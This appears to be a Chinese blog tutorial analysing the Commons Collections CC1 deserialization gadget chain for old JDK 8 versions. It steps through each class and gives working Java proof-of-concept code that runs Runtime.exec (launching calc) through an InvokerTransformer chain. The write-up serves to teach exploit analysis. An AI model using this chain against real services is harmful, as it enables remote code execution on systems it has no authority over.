CC1-TransformedMap

我们所测试的jdk版本是8u71以前的版本,而此版本以后的jdk,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject函数

对于高版本的绕过,在CC6中实现

https://xz.aliyun.com/t/9873

https://zjackky.github.io/post/commonscollections-full-series-of-detailed-explanations-1ssdo3.html#LazyMap%E2%80%8B%E2%80%8B

https://blog.huamang.xyz/post/cc1/

正向

这边是正着来走的,思路跟p神的

简单的demo

Transformer是一个接口,它只有transform方法,CC1利用的重点就是一堆实现了这个接口的类

package com.test.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class easycc1 {
    public static void main(String[] args) throws Exception {


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
        };


        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//TransformedMap.decorate是静态方法
        outerMap.put("test", "xxxx");
    }

}

一步步来看

先来看下demo中用到的各种类

1、ConstantTransformer

这个类的transform方法很有特色,输入一个对象再返回这个对象,目前不知道有啥用

image-20240807151608882

2、InvokerTransformer

其实CC1最终就是通过这个类rce的,写的跟后门似的,它的transform方法用反射拿到输入的对象的class然后执行传入的方法,那就找找其他有没有类继承了Transformer或者有transform方法的、并且可控性很高的

image-20240807151734008

3、ChainedTransformer

类如其名,是一个链子,连接起来一堆Transformer类

image-20240807152257230

它的构造器接受一个实现了Transformer接口的对象的数组, 它的 transform方法挨个遍历这些对象,感觉这里很巧妙的,就跟事先埋的后门一样

前文说到

image-20240807152535831

那这里不就呼应上了?把它作为第一个对象传进这个链子Transformer(ChainedTransformer),那他执行自己的“变形”方法返回自己的对象,就会赋值给object,第二次循环这个object就可以完美的作为InvokerTransformer的“变形”方法的参数传进去,那么这个对象要是Runtime.getRuntime()不就rce了?

所以p神框框框写出了这些代码:

Transformer[] transformers = new Transformer[]{     //Transformer是一个接口
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
        };


Transformer transformerChain = new ChainedTransformer(transformers);

image-20240807153308341

那么问题来了,咋调用transformerChain.transform呢?

害得继续找谁能调用ChainedTransformer的transform

就有了下面这几个代码

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");

4、TransformedMap

原来这里还有两个神奇的方法

protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

 protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

他们的执行模式是this.keyTransformer.transform(object);this.valueTransformer.transform(object);

很像我们的transformerChain.transform(transformers);

那就看keyTransformer、valueTransformer、object是否可控

去看看构造方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

wohuo,是protect,但是decorate方法可以调用构造方法,还是静态的,那么到这里我们知道:keyTransformer、valueTransformer、object可控

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

那么,是否可控的问题解决了,我们再来看咋调用这俩

protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

 protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

于是找到了put方法(最简单直接的,实际CC1调用的第三个方法)

public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

key = this.transformKey(key); value = this.transformValue(value);

这俩其实都是调用,那么到这里就完美闭环了(demo的闭环)

萌新一定要自己走一遍debug

最后再贴一下demo

public class easycc1 {
    public static void main(String[] args) throws Exception {


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
        };


        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, transformerChain, null);//第二个或者第三个参数都可以的,两个都填transformerChain甚至会弹俩计算器
        outerMap.put("test", "xxxx");
    }

}

CC1链-走出demo

前置

首先我们先岔开看一些必须知道的东西

去找TransformedMap的checkSetValue咋调用的

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

TransformedMap的继承关系是这样的,它的根父类是map

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator
public abstract class AbstractMapDecorator implements Map
    Map->AbstractMapDecorator->AbstractInputCheckedMapDecorator->TransformedMap

TransformedMap的父类AbstractInputCheckedMapDecorator有这么个方法会调用checkSetValue

这里的this.parent传入的可以是TransformedMap,AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。(这里涉及一些多态的知识:在运行时,根据对象的实际类型来决定调用哪个方法。即使一个引用变量声明为父类类型,它也会调用子类中重写的方法。)

public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return this.entry.setValue(value);
}

吃了java基础不牢的亏,感觉这里的this.parent很迷惑人啊

具体讲一下这里的多态:

AbstractInputCheckedMapDecorator

MapEntry 构造函数中,AbstractInputCheckedMapDecorator parent 是一个父类引用,它可以引用任何 AbstractInputCheckedMapDecorator 的子类实例,包括 TransformedMap

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }
    }

而这个构造方法是protected的,MapEntry是怎么实例化的呢?就看下面的分析吧

p神的demo距离成为一个真正的poc还有多远?

首先,我们触发TransformedMap的“变形”方法是我们自己手动的去put,从而间接去执行transformKey或transformValue

但是我们要研究的是反序列化链,就要找反序列化的时候自动触发的“put”

我们就得去找到一个类,他重写的readObject进行反序列化的时候会执行这样的写入操作,这个类就是sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler

8u71以前的代码才有这个洞,我们直奔他的readObject方法

下面是字节码反编译的

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

源码是这样的

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

注意里面有一句

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));

memberValue 是一个 Map.Entry<String, Object> 类型的对象(下面写了构造方法,这个类我们是作为入口类,再反序列之前会进行序列化的,也就是我们在本地赋值这个memberValue)。这个 Map.Entry 对象表示一个键值对,其中键 (key) 是 String 类型,值 (value) 是 Object 类型。

这就和前面岔开的那部分最后的问题呼应上了,memberValue是一个map,AbstractInputCheckedMapDecorator的跟父类是map,这里的memberValue去执行setValue方法,AbstractInputCheckedMapDecorator的setValue长这样

public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }

那么this.parent如果是TransformedMap就打通了

补一下构造方法

反编译的:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

源码里的:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

memberValues就是反序列化后得到的Map,也就是TransformedMap对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们前面所展示的链子

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
var5.setValue()

AnnotationInvocationHandler不是public类,所以必须得用反射去实例化他,那么就其实挺简单,就反射区实例化他即可,然后把我们设计好的Entry传给他即可

Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cl  =  c.getDeclaredConstructor(Class.class,Map.class);
cl.setAccessible(true);
cl.newInstance(Override.class,transformedMap);

现在就很清楚了,==AnnotationInvocationHandler的构造方法接受两个参数,第一个是Annotation的子类,第二个是一个Map对象,这个Map对象后面会执行setvalue,很明显就是我们的transformedMap==

最后的问题

还有几个问题没有解决

  • 而Runtime没有实现serializable接口,是不能被序列化的

  • AnnotationInvocationHandler的反序列化需要满足两个if才能进入memberValue.setValue

  • setValue方法的参数貌似不可控?传啥Annotation的子类能让它正常执行

    memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));

Runtime对象序列化

先解决第一个问题 如何让Runtime对象可以序列化

因为Class类是可以反序列化的,所以只要让Runtime为Class类并且调用其方法即可

//Runtime.getRuntime().exec("calc");
Class r =  Runtime.class;
Method m = r.getMethod("getRuntime",null);
Runtime o = (Runtime) m.invoke(null,null); // 注意这里是getRuntime()的无参构造
Method m1 = r.getMethod("exec",String.class);
m1.invoke(o,"calc");

那第一个问题就解决了,那么接下来就是通过InvokerTransformer的反射来吧这个反射重写一遍

我们之前是这样写的:new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})

Class r =  Runtime.class;
Method m  = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
Runtime o = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(o);

放到前面讲的“链子”类

Class r =  Runtime.class;
Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
        new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(r);

这就是构造好的序列化了Runtime的Transformer对象

怎么满足if

我们跟进去看如何去保证两个If语句都进入呢

if (memberType != null) {  // i.e. member still exists
 Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))

首先第一个if是比较容易过的,因为他要去找AnnotationInvocationHandler传进来的注解的成员变量,要存在并且map的key可以找到他的成员变量即可,所以做出以下修改

第二个if就直接过就行了

不可控?

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")

下面的分析会给出答案

调试

先看反序列化的前半部分

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

其实就一个var2 = AnnotationType.getInstance(this.type);

this.type是我们序列化构造的那个注解类型,这里getInstance 方法返回的是一个 AnnotationType 对象。

public static AnnotationType getInstance(Class<? extends Annotation> var0) {
        JavaLangAccess var1 = SharedSecrets.getJavaLangAccess();
        AnnotationType var2 = var1.getAnnotationType(var0);
        if (var2 == null) {
            var2 = new AnnotationType(var0);
            if (!var1.casAnnotationType(var0, (AnnotationType)null, var2)) {
                var2 = var1.getAnnotationType(var0);

                assert var2 != null;
            }
        }

        return var2;
    }

来到第一个if

if (var7 != null)

image-20240808102748912

看看var3

这个方法的作用是返回一个 Map 对象,其中包含了注解成员的名称和类型。

private final Map<String, Class<?>> memberTypes;

public Map<String, Class<?>> memberTypes() {
        return this.memberTypes;
    }

image-20240808103512075

把代码抽取出来或许好看点?这里应该就是涉及注解的知识了

image-20240808105029567

var4 是一个 Iterator 对象,通常用于迭代 Map (TransformedMap)的条目,var4.hasNext()这里是对我们构造的这里innerMap.put("value", "xxxx");进行操作

var5使用next() 方法返回迭代器var4(TransformedMap)的下一个元素。

var6拿到我们构造的键 “value”,随后自有妙用

到了这一句Class var7 = (Class)var3.get(var6);

var3是这样的hashmap

image-20240808105352982

var6是value

这不就呼应上了,第一个if·var7 != null就进去了

image-20240808105531862

第二个if

if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))
  • var7: var7 是一个 Class 对象,代表了一个注解成员的类型。它是通过以下方式获取的:

    Class var7 = (Class) var3.get(var6);

    其中 var3 是一个 Mapvar6 是键,var7 是对应的值,即注解成员的类型。

  • var8: var8 是一个对象,表示实际的成员值。

  • ExceptionProxy: ExceptionProxy 是一个特殊的类,用于表示反序列化过程中类型不匹配的异常情况。

if 条件语句

if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))

这个条件语句的含义是:

  1. !var7.isInstance(var8):
    • var7.isInstance(var8) 用于检查 var8 是否是 var7 类型的实例。如果 var8 不是 var7 类型的实例,则 !var7.isInstance(var8)true
  2. !(var8 instanceof ExceptionProxy):
    • 检查 var8 是否不是 ExceptionProxy 的实例。如果 var8 不是 ExceptionProxy,则 !(var8 instanceof ExceptionProxy)true
  3. 整体条件:
    • if 条件的整体为 true 当且仅当 var8 既不是 var7 类型的实例,也不是 ExceptionProxy 的实例。

到了最后一步

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

这里var5如下,继承关系上面讲过,它的子类就是TransformedMap

image-20240808105725941

这里先看看var8.getClass() + "[" + var8 + "]"是个啥

image-20240808110959958

(Method)var2.members().get(var6)不知道是什么东西

这里我本地写了下test

AnnotationType var2 = null;
var2 = AnnotationType.getInstance(Retention.class);
Iterator var4 = outerMap.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Object var8 = var5.getValue();
String var9 = var8.getClass() + "[" + var8 + "]";
System.out.println(var9);
Map<String, Method> var10 = var2.members();
Method var11 = (Method) var2.members().get(var6);

可以看到var2.members()是一个map,对这个map调用.get(var6)也就是.get(value),这里注解是有value方法的

image-20240808111836903

这里其实可以把整个类拿出来看一下

class AnnotationTypeMismatchExceptionProxy extends ExceptionProxy {
    private static final long serialVersionUID = 7844069490309503934L;
    private Method member;
    private String foundType;

    AnnotationTypeMismatchExceptionProxy(String var1) {
        this.foundType = var1;
    }

    AnnotationTypeMismatchExceptionProxy setMember(Method var1) {
        this.member = var1;
        return this;
    }

    protected RuntimeException generateException() {
        return new AnnotationTypeMismatchException(this.member, this.foundType);
    }
}

(new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))

这么一长串就是把String foundType设置成class java.lang.String[xxxx],把Method member设置成value()

然后把这个AnnotationTypeMismatchExceptionProxy带入var5.setValue

image-20240808113323262

进入TransformedMap的checkSetValue

this.valueTransformer是transformerChain

image-20240808122537050

跟进去

image-20240808122758501

来到第一次循环,input还是那个传入的注解对象,但是返回的this.iConstant是我们老早就设定好的new ConstantTransformer(Runtime.class)

image-20240808123114604

于是从(观察object的变化)

image-20240808123343536

image-20240808123431843

后面就是老早就构造好的那个执行链了

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

所以或许可以说,var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

这里它setValue啥都没关系,要的是调用setValue这个动作,要执行的东西我们都提前构造好了

至此,CC1的这条链分析完毕

image-20240808123819936

反向

这个思路是跟着https://space.bilibili.com/2142877265

step1 InvokerTransformer

从后往前看吧,CC1的挖掘者找到了一个可以任意执行代码的地方

invokerTransformer.transform

image-20240802093223620

它的构造函数长这样

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表

所以是这样用

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

再来看一下transform方法,输入一个对象,不为空的话就进行反射,拿到它的类和之前传参传入的方法,感觉像写的后门一样,然后invoke执行,就可以弹计算器了,接下来就是==往上找谁去能够调用transform并且是可以传入可控的Object对象的==

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

第一步弹计算器的代码

package com.test.CC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class main {

public static void main(String[] args) {
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    invokerTransformer.transform(Runtime.getRuntime());
}
}

step2 TransformedMap

作者就找到了org\apache\commons\collections\map\TransformedMap类中的checkSetValue方法是接收Object对象并且调用了transform方法,并且是protected属性

image-20240802095049614

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。

我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。

来看它的构造方法,发现是传入Map map, Transformer keyTransformer, Transformer valueTransformer 三个参数,并且把参数给到this.valueTransformer 但是这里由于是protected属性,所以再去找一下是自己在哪里调用了自己

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

发现存在一个静态方法decorate,也是传入三个参数直接传入到构造方法中

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

那么我们从上面的代码进行修改一下看能否调用

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokerTransformer.transform(Runtime.getRuntime());
    Runtime rt = Runtime.getRuntime();
    HashMap<Object, Object> map = new HashMap<>();
    TransformedMap.decorate(map,invokerTransformer,invokerTransformer);

可以正常传入值了,但是方法都是protect的没法调用

step3 AbstractInputCheckedMapDecorator

protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。 注意:不能修饰类(外部类)

那我们就看看如何调用这个protected属性的checkSetValue

于是作者找到了 commons-collections-3.2.1-sources.jar!\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java#setValue

public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }

这里要搞清楚这个类的逻辑,

==AbstractInputCheckedMapDecorator 这个类其实是TransformedMap的父类==,这点非常重要,这意味着TransformedMap继承了它的方法,我们直接调用TransformedMap就好了

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

并且这个setValue方法是在一个静态类MapEntry里头的

 static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }
    }

搞清楚逻辑后,其实这个MapEntry 就是遍历Map的键值对的一个静态类,在以下代码中就会触发他的方法(其实就是重写了Map#setvalue方法)

MapEntry 类是一个装饰器类,继承自 AbstractMapEntryDecorator。它用来装饰 Map.Entry 对象,添加额外的功能。在这个类中,setValue 方法会先通过 parent 对象的 checkSetValue 方法检查值,然后再调用原始 Map.Entry 对象的 setValue 方法。

for (Map.Entry entry:transformedMap.entrySet()){
    entry.setValue("aaa");
}

只要去对这个键值对进行setValue方法即可触发

继承关系:

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator
public abstract class AbstractMapDecorator implements Map
    Map->AbstractMapDecorator->AbstractInputCheckedMapDecorator->TransformedMap

所以现在只要把我们的Runtime对象传入到value值即可触发任意方法调用

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
map.put("q","q");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);//transformedMap直接调用父类AbstractInputCheckedMapDecorator的entrySet方法
                                                                                    //entrySet会new一个这个类static class EntrySet extends AbstractSetDecorator
for (Map.Entry entry:transformedMap.entrySet()){
    entry.setValue(r);
}

image-20240802103047513

但是正常环境中,我们进行反序列化的时候如何触发字典的插入操作呢,我们就得去找到一个类,他重写的readObject进行反序列化的时候会执行这样的写入操作,这个类就是sun.reflect.annotation.AnnotationInvocationHandler

step4 AnnotationInvocationHandler

作者就找到了jdk1.8.0_65\src\sun\reflect\annotation\AnnotationInvocationHandler.java 中的 readObject 方法是调用了setValue ,那么其实已经找到readObject就非常好可以进行串联了

看readobject

下面是class反编译的代码

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

下面是源码

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

核心点在这:

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们前面所展示的链子

Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue()

那我们来看一下他的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

也很简单,就是传一个注解和一个Map类,又因为他不是public类,所以必须得用反射去实例化他,那么就其实挺简单,就反射区实例化他即可,然后把我们设计好的Entry传给他即可

ps:非 public 类(即 protected 和包私有类)可以在其定义的包内被实例化。

但是这里仍然存在几个问题

  • Runtime对象是不可以序列化的,需要用反射进行序列化
  • setValue方法的参数貌似不可控
  • 有两个if判断需要进去

先解决第一个问题 如何让Runtime对象可以序列化

因为Class类是可以反序列化的,所以只要让Runtime为Class类并且调用其方法即可

image-20240802152927369

他是存在getRuntime的静态方法的,所以可以直接调用

//Runtime.getRuntime().exec("calc");
Class r =  Runtime.class;
Method m = r.getMethod("getRuntime",null);
Runtime o = (Runtime) m.invoke(null,null); // 注意这里是getRuntime()的无参构造
Method m1 = r.getMethod("exec",String.class);
m1.invoke(o,"calc");

那第一个问题就解决了,那么接下来就是通过InvokerTransformer的反射来吧这个反射重写一遍

Class r =  Runtime.class;
Method m  = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
Runtime o = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(o);

这样就写好了,但是可以发现这里是前一个接收的对象作为后一个transform方法的输入

所以作者又找到了一个类 ChainedTransformer

构造方法就是传一个Transformer类的数组

image-20240802153130179

然后这个类的transform方法就会进行一个链式调用

image-20240802153143902

那么我可以定义一个Transformer的数组然后将InvokerTransformer的发射链式调用写进去然后去触发其transform方法即可

Class r =  Runtime.class;
Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
        new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(r);

那么现在就剩下两个问题了

我们跟进去看如何去保证两个If语句都进入呢

image-20240802153327368

首先第一个if是比较容易过的,因为他要去找AnnotationInvocationHandler传进来的注解的成员变量,要存在并且map的key可以找到他的成员变量即可,所以做出以下修改

image-20240802153439018

第二个if就直接过就行了,所以最后的问题就是这一句话

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")

那是不是这个传入的东西不可控了呢?

这里作者再次找到了一个实现类ConstantTransformer

他的transform方法就是一句话 传入什么都返回常量,那我无所谓value的值,只需要在

image-20240802153517758

那如果返回的常量是Runtime.class就可以进行传入了

整条链子就结束了

我们来回顾一下这条链子,从正向调过去

反序列化#readObject->
	AnnotationInvocationHandler#readObject(存在setValue)
		MapEntry#setValue(存在checkSetValue)
			transformedMap#checkSetValue(存在transform)
				InvokerTransformer.transform(就可以调用任意方法执行任意操作)
0%